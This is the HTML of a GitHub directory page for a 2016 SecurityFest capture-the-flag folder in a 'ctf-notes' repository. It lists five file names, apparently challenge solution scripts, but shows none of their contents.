<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/73696e65/ctf-notes/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":66079706,"originating_url":"https://github.com/73696e65/ctf-notes/tree/master/2016-securityfest.ctf.rocks","user_id":null}}" data-hydro-click-hmac="0586a9be1ca12395df12bc7a74be47cd621b54fd3660d83086037692a06d0ff4"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/73696e65/ctf-notes/refs" cache-key="v0:1471608406.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="NzM2OTZlNjUvY3RmLW5vdGVz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/73696e65/ctf-notes/refs" cache-key="v0:1471608406.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="NzM2OTZlNjUvY3RmLW5vdGVz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-notes</span></span></span><span>/</span>2016-securityfest.ctf.rocks<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-notes</span></span></span><span>/</span>2016-securityfest.ctf.rocks<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/73696e65/ctf-notes/tree-commit/ee42ba5c36e20becf5b2273d73190482e3ec41e0/2016-securityfest.ctf.rocks" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/73696e65/ctf-notes/file-list/master/2016-securityfest.ctf.rocks"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>defacer-web.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flagship-pwn.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>notuslotes</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>notuslotes-pwn.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>tv-station-pwn.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
